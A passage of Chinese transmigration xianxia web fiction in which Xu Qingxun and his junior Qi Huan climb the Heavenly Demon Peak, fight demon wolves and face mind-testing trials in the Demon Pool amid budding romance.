他说得很轻,眼里转瞬即逝地闪过了一丝愧疚。 许清浔呆了呆,本想说师弟依靠师兄那是天经地义,但祁桓似乎有了别的想法,这是……想独立了? 这个想法一出,他自己都觉得荒谬,世上哪有不独立的龙傲天,眼前这个男人再怎么样,也是一个堂堂正正的点文男主。 所以……究竟是为何? 许清浔沉思之时,祁桓忽然转头,一本正经道:“快到了,师兄收拾好准备出去吧。” 闻言,许清浔下意识地点点头,回过神才意识到祁桓说的“收拾好”是什么意思。他低头左看右看,不得不承认,自己这身打扮是有些清凉的,方才睡觉时,他还把披肩脱了。 片刻,屏风之后。 “话说回来,他对衣裙的审美居然蛮好的。”许清浔边收拾边小声念叨,没有在意祁桓有没有听见。 可他话音未落,身后的黑衣青年虎躯一震,唇边泛起笑意。 “对了师弟,天魔峰凶险无比,你可千万不要托大。”许清浔突然想起什么,隔着屏风喊了祁桓一声。 “我知道。”黑衣青年点了点头。 五年前的他必然想象不到,自己居然会有对许清浔言听计从的一天。 人真的是……会变的。 三刻钟后,神舟终于到达,陆陆续续有人开门离开。 许清浔还未喊,便发现祁桓已经跟在身后,他呆呆地抬眸,诧异地说:“师弟,你最近好像开了自动跟随。” 祁桓好奇道:“什么叫自动跟随?” 许清浔不解释,只是笑了笑。 “……” 祁桓被勾得不行,却只好忍着。 毕竟,他这个好师兄早就是惯犯了。 好巧不巧,他们刚出来,对面的房客也出来了。 三人身穿合欢宗道袍,有男有女,另外三人面色发虚,并未穿宗门服饰,像是散修,但在场的人都不是傻子,怎可能不知道是为了掩人耳目,才故意不穿自家宗派的服饰。 这不,许清浔刚抬眸一看,那面色发虚的三人迅速消失,中间那个人更是衣袖遮脸,原地溜之大吉,唯恐被他们发现。 相比之下,合欢宗那三位一脸平淡,好像见怪不怪似的,左右两人脸上带笑,见他看了过来,中间那位还招手道:“道友好,敢问是哪家的子弟呀。” 许清浔还未说话,面前刷地站出了一个黑色的身影,如铜墙铁壁般横挡在他的面前。 男人并未说话,只是一道眼神而已,便令合欢宗的三人汗毛直立,如临深渊,然后迅速地撤走了。 有人心里抱怨道:“就没见过这么护妻的修士!” 许清浔刚要探头看前面的情况,突然被人按了脑袋,抬起头,只见那个男人似乎不太高兴的样子,幽幽地说:“他们是合欢宗修士,师兄看他们做什么。” 许清浔一呆,莫名从对方的眼神中感到了一丝威慑力,只得老实道:“没啥,就是好奇,我第一次这么近碰见他们。” “好奇他们什么。”祁桓忽然皱眉。 “好奇他们……” 许清浔说到一半,突然大惊,心想师弟不会以为他是那种人了吧,拜托!你大哥我自修真以来,别说那啥了,就是手都没手过——咳咳! 许清浔顿时肃然,挺直腰脊,微抬下巴,有模有样地说:“师弟,你不要乱想,师兄我只是好奇他们修炼什么功法。” 然而祁桓语出惊人且毫不避讳,冷飕飕地说:“不就是双修功法吗。” 许清浔当即心跳漏了一拍,赶紧探知周围确保没人听见,再快步凑到祁桓耳边小声训道:“我的傻师弟,你干嘛说的这么露骨,万一被人听见,你的名声还要不要?” 祁桓扫他一眼,面不改色道:“我本就不在乎。” 许清浔呆住,似乎有些为难,却也实在拿祁桓没办法。祁桓确实从不在意那些东西,反倒是他太现代人思维了。 而接着,祁桓突然抓着他的手腕,强硬道:“你反正不能找他们。” 命令般的语气,夹带着赤.裸裸的怒意,像一头护食的凶兽,不容置疑,强硬无比。 “你……” 许清浔脑子卡顿了一下,回过神时已经听话地点了点头,让对方牵着手并肩而行。 他回过神,脑子才开始缓慢地思考。 啊,我咋回事?哦不,应该是他咋回事,总觉得哪里不对劲……却又说不出来? 走出楼道,阳光照射下来,带来一层暖意。 许清浔脚步微缓,不必远眺,便已经看见了天魔峰的轮廓。 那里的天空很是浓墨重彩,地上层峦叠嶂,其中最高的峰直冲云天,好像要刺穿整片天地,杀气冲天,锋利无匹,不愧有“天魔峰”之称。 许清浔皱紧眉头,当即抛除了杂念,说一千道一万,天魔峰如此危险,自己带祁桓来,真的是对的吗? 万一祁桓没能度过这一关,还是变成了原著那个变态呢? 他很不安,怕自己五年的努力终将功亏一篑,怕祁桓还是不可避免地成为他本该所是,就像梦里的那个男人一样。 他手指微微发抖,后颈冒出了些许冷汗。 就在这时,身旁传来了一道声音。 “师兄还不走吗。” 熟悉的冷淡声音,但其实带着几分关切,听得许清浔心头一软,转眸看向了身侧。 黑衣青年目光淡淡,仿佛只是随口一问。 这五年间,他这张脸愈发的清俊,只是站在那里而已,便自然而然地吸引人。 明明跟自己一样做了些许伪装,不如真容俊秀,但是那双眸子—— 许清浔呆了呆,心想自己在想什么,无缘无故地,怎么开始锐评起男主的容姿了? “咳,”他不禁轻咳一声,正经道:“师兄没事,我们走吧。” “好。”祁桓深深地看了许清浔一眼,然后扫了一眼周围,目光在许家修士身上多停留了一会。 那几个许家修士从刚刚开始就一直在讨论许家之事,倒也一点也不避讳外人的耳目。 “十七爷不是死了吗?还带了这么多追随者……” “主家要大乱了,我们该怎么办?” 他们似乎很焦虑,不知该不该回去,以他们的修为,如若卷进那些大人物之间的纷争,便是有九条命都不够死。 在此意义上,他们反倒羡慕起了行踪不明的许清浔。 “说起来,许清浔还好失踪了,否则十七爷定会不惜代价杀了他吧。” “慎言!等等,万一他的失踪就是十七爷的手笔呢?” “蠢货,那个十七爷若是真抓到了许清浔,此时应该大肆渲染,让许家都知道了才是。” “是啊,十七爷听说是一位极霸道的人物……” 祁桓听着他们讨论,侧眸看向了许清浔。 许清浔也在听,表情明显是预想之中。不过,跟他们想法不一样的是,他晓得那个十七爷的真正秉性,卧薪尝胆的几百年间,许家十七爷早就不是当初那个只懂挥舞力量的许家十七爷了。 他变了,变得险恶,变得不择手段。 人心的变化,也即《醒红尘》的最大主题,他曾锐评过,痛骂过,谴责作者天天发文青病写一堆莫名其妙的黑暗桥段,当中最显著的就是这一条,变化?变你大爷的化!还常常一写就是好几章,写主角黑化也就算了,谁管你配角是怎么黑化的啊。 偏偏他还边骂边看了下去,他自己都搞不懂自己,若不是闲出水来了,谁那么无聊看那种文青小说? 不过,现在还好当初都看了,没有怎么跳订,否则如何能理解这些配角的心思,然后提前想到预防的手段? 想到这,许清浔不免有些得意。 “快走吧。”祁桓忽然催促了一声。 许清浔还未应话,便被祁桓牵住了手,瞬间消失在了原地。 直到这时,许清浔才发现为何祁桓不需要缩地成寸符了,因为——祁桓早就炼成了。 那可是金丹期才能掌握的功法,然而对如今的祁桓来说,已经可以轻松掌握了。 记得,原著的祁桓在21岁的时候还没练会缩地成寸,也就是说,在他的教导下,祁桓反而比原著更强了吗? 想到这,许清浔双眸大亮,比起满意、欣慰,更多的是感动! 他好想跑到书评区,抓到几个一起追文的读者,激动地告诉他们,在我读者大爷许某人的教导下,主角不仅黑芯转白,还更强了!快说你许哥厉不厉害! 而在他飘飘然沉迷于想象的时候,两人已经落地。 猝不及防之下,许清浔差点没站稳,还好及时反应了过来。 “师兄,你方才一直心不在焉是为何?”祁桓终于忍不住问。感情他一直有在注意许清浔的情况。 许清浔转头,笑得格外灿烂,坦言道:“师兄方才满脑子都是你的事呀。” 祁桓瞬间仿佛心口中了一箭,险些没站稳。 第30章 第三十章 洁癖 许清浔见祁桓忽然晃了一下, 当即探上前,欲伸手扶祁桓一把,但祁桓似乎预判到了,立刻后退一步, 仿佛无事发生般。 许清浔眨了眨眼, 险些没忍住调戏祁桓的冲动, 轻笑一声,道:“看来师弟的缩地成寸炼得还不好。” 祁桓一顿,顺了台阶下,正经道:“前面便是天魔峰了。” “嗯。” 许清浔脸色转变严肃, 抬头仰望着那座通体黑沉沉的高峰, 低声道:“天魔峰的领域之力极为强大, 据说任何修士接近它, 都将无法使用体内的神通与灵力,变得与凡人无异,即便是法宝、法符也很难发挥效用,最多只能瞬间起效。” 正午, 本是烈日当空的时候,可天魔峰的四周如若黑夜,自上而下地流泻着刺骨的寒气。 有那么一瞬间,许清浔仿佛听到了阴魂哭号的声音,但又怀疑是不是与风声混淆了。 “既然来了,那便走吧。” 祁桓神色自若, 眼里只有最顶峰。 他信任许清浔,知道许清浔来此必然有道理,但他也不是随波逐流、任他人决定道途的人,他来此, 是因为他深思熟虑之后,觉得自己确实有此必要。 五年前,《灭世魔经》的经魔觉醒之后,孜孜不倦地日夜蛊惑他,他因想法改变,拒绝了经魔。 并且,强行封印了它。 它被封印前,对他极尽诅咒与嘲讽,预言他总有一天会主动求助它,渴望它的力量。它那双血红的眸子,至今仍时不时在他脑海里闪现,阴魂不散地纠缠着他。 他一直在想办法彻底断绝与《灭世魔经》的联系,而登临天魔峰,似乎是当下较为可行的一个方法。虽然弄不好的话,反而有刺激经魔觉醒的风险。 想到这,祁桓脸色逐渐凝重。 两人朝着天魔峰疾行,还未靠近,果不其然,境界都被压制到了炼气两三层,甚至更低,能用的法宝和法符肉眼可见地减少,到达天魔峰山脚时,已经跟凡人差不多。 这时候,体质的强弱便尤为关键。 “师弟在此停步。” 许清浔忽然停下,抬头仰望上方,只见树林障目,看不见天空,四方灵觉受限,不止看不远,还容易迷失方向。 分明不是冬天,山上却不断吹来冻彻骨髓的寒气,虽然他早有心理准备,实际到达之后,仍感到了震惊。 这片地,对有心魔的修士来说,绝对是死地。思及此,他忍不住瞄了一眼听话停在他身侧的祁桓。 原著的祁桓此时还没有心魔,《醒红尘》设定中的心魔不是说有就有的,并非受过很大创伤,内心就必然有心魔。 心魔,乃徘徊之执念、现实之逃避、自我之否定,而祁桓好就好在,他从不逃避过去,自始至终都坚定自我,虽心有执念,但从不怀疑。 所以,应该不至于刚到山脚就出事吧? 许清浔盯着祁桓,眼神中的紧张与关切几乎化作实质,祁桓想无视都难。 祁桓神色平静,随手扶了一下背后的剑匣,“师兄,怎么了吗。” 许清浔微微一愣,只得实话道:“没,我就是……担心你。” 祁桓先是愣了一下,然后道:“你不信我吗。” 他直言不讳,目光也径直看向许清浔。 四周皆暗,唯有他的目光,像出鞘的利刃,仿佛刺穿人心。 许清浔莫名感到压力,“并非不信你,只是……师兄这性子,可能就是爱操心吧。” 祁桓看着许清浔,沉默片刻,忽然道:“若是如此,我们牵手同行吧。” 许清浔瞪大眼睛。 之前在城中,他们为了假扮夫妻才牵手,现在这寂寂无人的天魔峰……也要吗? 但这个提议也有道理,牵着手,十指连心,能迅速捕捉到彼此的情绪。 尽管相对来说不方便行动,但这样确实能让自己安心许多。 想完,许清浔轻笑道:“好啊,就这么办!不过上面的山路不好走,待师兄收拾一下。” 说着,他随手剪断了衣裙,还取出衣绳,收拢宽松的袍子,不一会儿,一身行头整好,简单利落,显得肤白腰细,眉眼精神。 祁桓不动声色地看直了眼。 接着,许清浔将披散的长发用一根玉簪盘起,迅速收拾完成,不漏一根发丝。 他笑了笑,转头对祁桓说:“好了,咱们走吧。” 祁桓没有动作,好像在发呆,直到许清浔开口才如梦初醒,还好四周昏暗看不到他变幻的面色。 片刻,两人牵手同行,盖因配合极好,速度丝毫不慢。 许清浔放下心来,唇线微微上扬。 不用转头便能知道对方的情况,感觉实在不赖。 他心无阴霾,两世坦荡,故而一路登峰,皆没有碰到障碍,反倒是越来越重的压力,令他有些体力不支。 他瞄了一眼祁桓,发现祁桓仍游刃有余,当即抽回视线,发奋继续登峰。 做师兄的,可千万不能被师弟看扁了! 接着,还未到山腰,突发意外,他们遭遇了一头变异魔狼。 世上会魔化的不只是人,还有动物,后者被称为妖魔。 魔狼一旦出现,就不会只是一头,而且在天魔峰,它们独占地利。 “我来。” 许清浔还未开口,祁桓已经走上前。 他背后的剑匣战意涌动,不断颤抖,刀剑都在渴血。 许清浔应声在后,也想趁机观察祁桓的进步。半年不见,总觉得这家伙又在哪里碰见什么奇遇了。 天魔峰的压制着实厉害,便是祁桓也用不了灵力。 不过,对他而言,杀戮的手段从不会受限。 许清浔看着祁桓抽刀,那刃面反射的光亮十分闪眼,再一眨眼,刀出破空。 黑衣青年迈着神鬼莫测的步法冲向魔狼,又如行云流水般躲过魔狼的攻击,刀光闪烁间,他悄然出现在魔狼身后,挥刀直斩,没有半个花招。 再一看,魔狼已经血溅草地,妖丹外漏。 它的防御绝对不弱,但奈何对手太过凶悍。 祁桓是杀戮的天才,不仅对人,对任何生物都是如此,总能够轻松一击毙命,死神一样收割生命,再然后就是分尸,捡去有用的,毁去没用的。 此时只是对妖魔,故而并不惊人。 但原著中,祁桓对人也丝毫不犹豫,同样的流程,不分男女,运用在了无数修士身上,因此被称为杀人狂魔,举世皆敌,在玄界被万人追杀,到其他界域也同样如此。 修真界弱肉强食是主流,他的做法其实并没有问题,唯一的问题在于,他太“明目张胆”了。他将那份残酷从底层摆到了高层,从里面摆到了表面,对待千年世家乃至万年世家的天才也丝毫不手下留情,甚至还敢当着那些家族的面杀人,杀了儿子又杀老子,杀了老子还杀老子的老子,无愧为玄界史上最恶的狂徒。 看到那里,读者当时的评论是,好端端的正能量主角,怎么突然转黑暗流了? 许多人受不了弃文,他也受不了,可就是头铁,觉得喷一喷,那作者就会老实改文。 谁知道那货死活不改,还一路写到黑。 现在他才知道了为何死活不改。因为,谁也改不了他人的命运。 那是祁桓自己的选择。除非祁桓自己改变,否则谁能改变? 那头魔狼死后,很快又出现了一群。 前方的青色狼眸此起彼伏,密密麻麻,伴随着恐怖的煞气。 可是祁桓的刀,丝毫没有停顿。 许清浔一动不动,竟还有心思回忆过去。 想当年,祁桓隐藏实力,决然不肯暴露,还是遇到了一场生死危机,被逼无奈之下才终于暴露。 许清浔心想,当时祁桓转头看自己的眼神里绝对带上了杀意,十有八九想着杀了自己隐藏秘密,可最终并没有动手。 为何呢,其实他自己也想不明白。总之,那次试探无疑是最凶险的一次。 许清浔至今有些后怕,虽然即使如此,他也不后悔当时的决定。 但见,最后一头狼被一刀两断,草地上血流成河,遍布狼尸。 祁桓挥刀洒尽狼血,再缓缓收刀,直至剑匣卡顿一声。 许清浔看呆了,随后轻笑一声,赞道:“不愧是师弟!” 祁桓回头,目光落在青衣修士身上,不知在想什么,隐隐流转着几分温柔,与他刚刚仿佛死神的模样简直判若两人。 可惜四周太昏暗,许清浔没看见。 “继续走吧。” “好。” 两人于是继续牵手同行,中途屡次碰见妖魔,有轻松解决的,有难缠的,最后都解决了。 “还没到山腰就遇到这么多,看来今日不走运啊。” “……又出现了。” 祁桓出手九次,最后一次,许清浔亲自出手,转瞬间解决了一头妖魔化的黑角熊。 完后,许清浔还摇了摇手上的扇,对祁桓说:“看到了吧,你师兄可不仅仅是符修。” 祁桓沉默地不回答,心中却轻声道,跟踪你的时候,早就知道了。 许清浔轻咦一声,有些纳闷祁桓完全不意外。 “有些累了,看来今夜登不了顶,咱们就地休息一下吧?” “好。” 祁桓不反对,因为他确实累了,斩杀妖魔耗费不了多少精力,主要是心神…… 石林中,明珠悬于中空,法符环绕在外,就地布置守元小阵法,可以抵消天魔峰源源不断的压力。 许清浔从储物戒中取出桌凳,甚至床榻,然后望向靠石壁休息的祁桓,“师弟,过来这边?” 祁桓睁开双眸,看了许清浔一眼,虽早已见怪不怪,但还是忍不住说:“师兄真是周到。” 许清浔笑了,“人生在世,只争朝夕,何苦亏待自己?你且休息,师兄为你护法。” 他这句话分明矛盾了,说何苦亏待自己,却让他人先调息。但祁桓并没有揭露这个矛盾,听话地走到许清浔身边坐下。 许清浔见他过来,当即问:“如何?有没有他们说的头晕眼花、心神难守的感觉?” 刚刚,他注意到了祁桓的不对劲,这才提出换他出手,并且暂时停下调息。 修士走火入魔,多半是因为一个“急”字,他们还没走到山腰,大可先休息调整。 “头晕……是有一些。” 祁桓微微蹙眉,不知如何形容那种感觉,体内气息不受控制,到处乱窜,心神亦是,好像压着一头巨石。最麻烦的是,《灭世魔经》好像在蠢蠢欲动。 许清浔看他脸色苍白,低眸想了想,忽然取出戴在右手中指的戒指,递给祁桓,道:“戴上这个吧,别客气,你若是中途发生了什么事,倒霉的还是我,当然,这可不是送你的,下山之后要还我。” 祁桓顿了顿,抬头看着许清浔的眼睛,最终还是没有拒绝。 他接过戒指,戴上左手无名指,隐隐感觉到,戒指的内侧还留有对方的体温。 法宝的效果逐渐起效,他才知道,这枚戒指的原料搞不好是传说中的护心石,绝对的有市无价,只有万年世家才有资格收藏。 他又一次感受到了对方对自己的沉重的关心,很是欢喜,但更多的是酸涩。 因为他还感觉到了差距,确切地说,是平平无奇的小修士,与万年世家大少爷之间的……几乎不可逾越的巨大鸿沟。 万年世家,可是即便界域毁灭,也会依然长存的庞然大物。孰能撼动。 祁桓沉默不语之时,许清浔不禁有些担心。 “没有效果吗?”他没忍住问。 祁桓一顿,回过神道:“有效,好了许多。” “你要不躺着休息一下?”许清浔看祁桓的脸色还是不太好,“天魔峰这里,真正的危险不在外面,而是在里面。” 祁桓当然明白他的意思,沉思片刻后道:“我暂且打坐调息,师兄自己多小心。” “嗯。”许清浔笑了笑,眼神仿佛在说,交给师兄! 片刻之后,四周皆寂,只剩下呼啸的风声。 许清浔确认祁桓已进入状态,放了心,过了一会,他抬头望天空。 这一片能看见星空。 放眼望去,星汉灿烂,华丽夺目。 不知为何,许清浔每次一看星空,心中便不免泛起几分乡愁。 不知道他的家人们怎样了,穿书的时间应该没有同步到现实,否则二十三年过去,现实恐怕已经面目全非。 想到这,许清浔皱了皱眉,很是不安。 当初天道求他帮忙,才有了他穿越一事。所以,天道应该不至于让两边世界同步,否则他怎么能安心做任务? 他有一种没由来的自信,虽然从未有过什么承诺,却无比自信地笃定着。 可若是,那只是自己的一厢情愿呢? 许清浔瞳孔一震,心态顿时微乱,而与此同时,一股说不清的力量瞬间乘虚而入,如同实质般搅乱他的心神,令他头晕眼花,心神混乱。 这一刻,他终于亲身体验到了何为天魔峰。 在这里,任何人道心的任何破绽,无论大小,都将被无限放大。 可真是……太好了! 许清浔眼神瞬变坚毅,浅色的双眸仿佛焕发着光华,如同宝石般璀璨无暇。 他来此,正是为了看清自己的道心有何破绽。 既然来了,那便……照单全收! 许清浔深吸了一口气,当即凝聚精神力击退那股侵扰他心神的力量。 那股力量像是能量,又像是语言,不断说着蛊惑他、刺激他的各种话,他却充耳不闻,坚定不移,甚至还回击道:“那又如何?他日待到我成帝,逆溯岁月长河又有何难?滚吧。” 最后冷冷的一句话,好像一支利箭直接击碎了幻梦,那股不祥的力量如潮水般瞬间退缩,消失于无形。 而与此同时,许清浔一阵舒坦,神魂似乎得到了一股神秘的补益,精神力也随之增强,灵觉更是强大了两三倍。 他是符修,同时也是魂修,多亏平日的透支修炼,后者的造诣并不比前者低,此时此刻,他感觉自己破了一个小境界,本就堪称同代无敌的精神修为,如今又上了一层楼! 许清浔缓缓收功,再睁开双眸,整个人神清气爽,道心更加坚定。 一念神魔,魔来的快,去的也快,而一旦不小心,一念失守,便是深渊。 实在凶险。 许清浔宁愿同时对付几个跟自己差不多修为的高手,也不愿玩这种猝不及防的攻防战,偏偏不玩不行。 想着,他又笑了,眼里流露出几分豪情。 修炼,本来就当如此! 他正兴致勃勃,忽然想起祁桓,面色顿变,连忙看向身侧。 只见,黑衣青年盘腿而坐,微微垂首,似乎陷入了沉睡。 等等,沉睡?! 许清浔心道不妙,皱紧了眉头,却不敢轻易打扰。 那股不祥的力量估计已经在侵扰祁桓的心神了,祁桓是否能够克服,得要看他自己。 等了一会,祁桓未有动静,而许清浔眼皮直跳。 他坐不住,站起了身,眼里尽是担扰,甚至已经开始想象,万一祁桓没守住,突然魔化起来,自己该怎么应对。将人打晕扛走?可万一那经魔也出来搞事呢? 许清浔坐立难安,恨不得自己替祁桓承受这一切。 “你好歹也是男主,不会说魔化就魔化吧?” 他碎碎念叨,偏偏脑子里不受控制地想起了原著的剧情。《醒红尘》中,祁桓失控了三十多次,暴走屠杀的修士数不胜数。 虽然他无法想象上一秒还跟他平静聊天的祁桓下一秒会变成一个杀人魔王,但……都怪他记忆力实在太好了! 许清浔手足无措,无可奈何,只知道,此时此刻,自己唯一能做的就是相信祁桓。 相信这个自己绞尽脑汁费尽心思教育了五年的男人。 艰难的等待,一直到半个时辰过去,他等待的人才终于有了动静。 黑衣青年睫羽微颤,缓缓地睁开眸子。 那一刻,许清浔紧张到了极点,紧接着他竟看见,对方那双总是看不出情感的眸子深处,肉眼可见地流露出了钻心刺骨的悲伤。 许清浔浑身一颤,心中控制不住地涌现出了怜爱。 对方明明是个货真价实的点文男主,为何会露出如此脆弱的神情。 若是一只小猫,他绝对忍不住抱在怀里狠狠宠爱了。 大概是因为他的眼神太强烈了,傻子都能察觉到。 祁桓微微一愣,快速收敛了方才的情绪,抬头看向面前几乎要哭出来的青衣修士。 “师兄,怎么了吗。” 许清浔呆住,这才意识到祁桓似乎没事,连忙问道:“这话应该我问你,你睡了半个时辰,没事吧?” 祁桓露出意外的眼神,“我……睡了这么久吗。” “有没有感觉到一股不祥的力量入侵神魂?”许清浔立刻问。 “好像有,好像没有,我只觉得……做了一个很远的梦。”祁桓回忆着,梦呓般低声道:“我难得梦见了我的家人,梦里的我回到了童年时,我要随他们走,追着追着,他们就不见了,我不甘心,继续追……然后姐姐回来,对我说,不要再追了,我该……回到我的世界。” 许清浔瞳孔微缩,似乎明白了什么,“天魔峰真是猝不及防,师弟,你得小心一些。” 祁桓一顿,如梦初醒。 “这次是你姐姐救了你,下次可就不一定了。”许清浔严肃道。 “……” 祁桓沉默片刻,点了点头,“师兄说的是。不过,这次的梦,也让我看清了那是一股什么力量,不会有下次了。” 这回换许清浔震惊了,他好奇道:“什么力量?” 连身为读者的他都不太晓得,祁桓却知道? 祁桓正欲回答,忽地眉头一皱。 他总不可能说,那是经魔经常用在他身上的招数,许久不见,险些忘了,而只要知道了,那便不足为惧,天魔峰总不可能强过一本混沌古经。 “就是……所谓的魔力?” 祁桓想不出什么好说法,只好勉强编了一个。 万万没想到,许清浔一听笑惨了,笑得肚子疼,笑到祁桓从不解到迷茫,再到目光幽幽地盯着许清浔。 “师兄,有这么好笑吗。” 许清浔连咳三声,赶紧停下,“没有没有,就是感觉这个说法很是独特,不过话说回来,你的意思是……你不会受到影响了是吗?” “是。”祁桓点头。 仔细一看,他的脸色已经肉眼可见地恢复了。 许清浔闻言大喜,当即走到祁桓近前,“那我们继续登峰吧!” 片刻后,两人继续牵手同行,成功抵达了山腰。 “天魔池不远了,我们一鼓作气吧。” 他们加快了速度,纵使前方的压力越来越重,也完全阻挡不住他们。 已经能够肉眼可见天魔池的所在了,许清浔大喜,不由得抓紧了交握的手。 祁桓看了他一眼,唇线抿开一抹笑意。 “我们走!”许清浔轻声催促,身旁之人则无声应是。 眼看只剩下半刻钟的距离,许清浔唇线上扬,虽然不至于掉以轻心,但明显已经心情大好,又是下意识地抓紧了一下。 而也是这时,他才意识到自己可是一直牵着别人的手。 而祁桓……倒是一点也不在意? 许清浔顿了顿,忍不住偷瞄了黑衣青年一眼,心里突然想到,这家伙不是有洁癖吗,为何愿意碰自己?魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 30-40 第31章 第三十一章 你难道真是我老公了吗?…… 天魔池, 实则一片大湖,湖水呈蓝紫色,蓝中透着紫,仿佛一片铺在地上的水晶, 时而闪闪发亮, 时而暗沉深邃。大湖顶上的天空不知为何呈现粉白色, 像开了滤镜一样的天空,有种世外的虚假感。 池水滔滔,注入了几十条小溪。溪水很急,撞得石地叮当作响, 十分悦耳, 但透着一种说不出的诡异感。 灵觉放出, 方才确信, 这附近无人,也无其他生灵,只有他们两人。 许清浔稍稍放心,松开手, 侧眸道:“总算到了,师弟你没事吧。” 黑衣青年轻应一声,仍在警惕四周,“这里,就是天魔池。” “对,据说在池里泡上一个时辰以上, 就能磨砺出无暇道心。”许清浔走上前一步,随后蹲下身,欲伸手掬起一些湖水。然而碰到水面的瞬间,他浑身一颤, 脑子里好像瞬间炸开了无数道念头,他当机立断抽回手,不可思议道:“这水……真是不得了。” 据说是天魔死后残躯所化,怪不得如此夸张。等会要泡上一个时辰以上……真的能行吗? 许清浔额冒冷汗,沉默不语。就在这时,他听到了身后传来的脱衣声。 “师弟你……”许清浔立刻转头,然后瞪大了眼睛。 眼前的男人已经脱了外衣,剑匣放置一旁,见他看过来,还抬起了眸。 “……” 不得不说,祁桓在点家男主中,算是少见的容姿俊秀,连男人看了都不免有些心动的类型。 许清浔心中念叨,又告诉自己,我可是连男频四大黑暗圣经都看了的男人,区区祁桓,再帅不过是带把的男人,掏出来还比我……咳咳,总之,抵制男主诱惑,从读者做起! 他笑了笑,又故作轻浮地说:“师弟好身材,师兄都要看直眼了!” 祁桓一愣,看不出喜怒,突然语出惊人道:“师兄莫非喜欢男人。” 许清浔当即面色大变,连忙道:“你这就误会大了,师兄是铁打的异性恋啊,师兄打死都不喜欢男人!” 他说得绝对没有问题,谁知祁桓的脸色一下沉了,周身冷气直冒,几乎要冻结空气。 许清浔话音刚落,祁桓转身便走进了天魔池,不知是不是故意跟他置气,背对着他,好像不想看见他。 许清浔目瞪口呆,心想我说错什么了吗,莫非他不信我,觉得我方才盯着他看,是馋他身体? 不是吧,我许清浔一世英名,怎能就此败坏! 他连忙解释:“师弟,你不要误会,师兄真不是那种人——” 他话未说完,突然被祁桓打断。 那个背影如剑般挺立的男人冷冷开口,“我没误会,师兄也快些下来吧,此地不宜久留。” 许清浔一呆,虽不确定祁桓有没误会,但祁桓说得没错。他目光望向天魔池,眼神渐渐坚定,师弟都下水了,自己怎能苟着。 随后,他也脱衣进入池中。 那入水的滋味很不好受,仿佛脑子要炸开了,但他余光看到祁桓若无其事的样子,立刻坚定道心,硬着头皮走了下去,成功下来后,还朝祁桓笑了笑,仿佛在说,所谓天魔池也不过如此! 后者依然面无表情,但似乎气消了一些。 说实话,不到一刻,许清浔就想逃跑了,怪不得说天魔池凶险,他如今脑子都是轰轰的,神魂仿佛被一种诡异而不祥的力量环绕着,随时可能乘虚而入,击碎他的心境。 更离谱的是,他活生生的,眼前就好像放起了走马灯,一张张熟悉的脸出现,或笑,或怒,或悲,就连他小学打架的事都能翻出来。好家伙,这是上阎王殿来算总账了吗? 不过,好在他的人生没有太大的遗憾,最多只是……一些浅浅的伤感,比方说,现实活了二十多年,没有一个称得上好兄弟的好朋友。 他应该也不算坏人,明明在社交上也算积极的,到底为何找不到一个可以述说任何事,互托真心的好兄弟? 许清浔恍惚间有点迷茫,看着“走马灯”一片片闪过,同时看着自己与人对话交往的一幕幕,突然间,他好像明白了什么,似乎是因为他过于“阳光”与“正能量”了。 同学开下流低俗玩笑的时候,他没有随波逐流,也没有视而不见,而是认真地训责了对方,因此收到了“没劲的正经人”的评价。还有同学喊他一起欺玩其他同学时,他不仅不从,还骂了对方。哪怕只是一点小事,他都十分在意实行者背后的品性。 为何没有找到一个交心的好兄弟?似乎是因为观念,他无法跟观念差距甚远甚至完全相反的人交心,偏偏身边多的是。某种意义上,这应该算是运气不好吧,世上那么多好人,他却碰不到一个。 所以说,找这些事情刺激他完全是没用的,他早就看开了。 人生在世,亲近之人,宁缺毋滥。难道不是吗? 许清浔心里笑了笑,逐渐有所习惯,但这只是开胃菜罢了,那股诡异而不祥的力量并非只是掏出他的过去,让他照见他自己而已。 他渐渐疲惫,心神仿佛空了一块又一块,欲提起精神,却力不从心。紧接着,七情六欲突然被激化,分明此时并没有那种心情,身体却自动涌现了出来,大悲、大喜、大怒,与伴随而来的恐怖幻想。 他仿佛看见自己返回现实时,自己的父母已经老死,他们曾努力寻找失踪的他,却无论如何也找不到,在哀叹中死去。 他心念一动,不可避免地产生了破绽,心魔当即乘虚而入,搅乱他的心境。 真难啊,要炼一颗无暇的道心,就一定得去经受这些吗。 许清浔沉默,任眼泪不自觉地流下,始终没有屈服。后来,他眼前甚至出现了一群天女模样的绝色佳人,好家伙,还来色.诱了。 可惜,许清浔深知色字头上一把刀,最多只是欣赏地看一眼,别的丝毫没有心情,至于欲望,那更不可能。 不知过了多久,仿佛过了好几辈子。 他感觉自己的心在燥乱中渐渐地平静了下来,前所未有的祥和与宁静,好像所有事都不能动他心了。 不,或许还有一个。 许清浔忽然睁开双眸,望着身侧不远处的男人。 是,确实还有一件事,那就是这个男人。 他对这个男人投资了许多,沉没成本难以想象。不只是穿越来的这五年里的投资,还有他在现实中的投资。 他之所以对《醒红尘》这么印象深刻,其实最大的原因是他用他上班第一个月发的所有工资,给《醒红尘》投了白银盟。 当时的他简直肉痛到不行,算是豁出去了,只为砸醒那个发癫的作者,不曾想…… 真是气死了。许清浔满眼幽怨,无声自语道:“臭小子,我在你身上投资这么多,没有功劳还有苦劳,你要是不听我的话,还跟原著一样堕恶成魔,我就……” 就什么,他停顿了,陷入了沉思。 天魔池一片寂静,只有流动的水声。 半晌,忽然一道声音响起。 “师兄。” 许清浔顿惊,抬头一看,当即对上了祁桓的双眸。 “怎、怎么了?”他下意识问。 祁桓眸光略深,声音却很平静,“没什么,就想……和师兄说说话。” 许清浔呆了呆,这才意识到,估计是太难熬了,对方想聊天转移注意力。 “好啊,师兄陪你说话,不过……说什么好呢?” 祁桓停顿了下,“说师兄的事吧,我听说师兄的父母是玄界有名的神仙眷侣,实力强大,十分恩爱,师兄为何从不提起他们。” 许清浔笑了笑,“你好奇他们的事?好吧,他们在玄界也算是名人,你会好奇很正常,问我算是问对人了,毕竟我是最了解他们的人。” 祁桓抬眸,神色竟端正且认真,不像是随口一问。 许清浔边回忆边道:“他们啊,在外名声很好,但在家里……非常一言难尽,比如说我都六岁大了,他们还喜欢亲自喂我吃饭,我无论去什么地方,他们都要知道,甚至偷偷跟踪我,生怕我出什么事,哪怕只是不小心碰到了一棵树,他们都会非常激动。” 祁桓听着,表情逐渐凝重,“听起来,他们很宠爱师兄。” “是这么理解吗?”许清浔挠了挠脸,有些发窘,“但是这种独占欲对孩子来说不是好事吧,若非我从小独立清醒,早就被他们宠坏了。” 祁桓看着许清浔,竟十分理解般,点头道:“情有可原。” “情有可原?”许清浔呆住,难以置信地盯着祁桓。 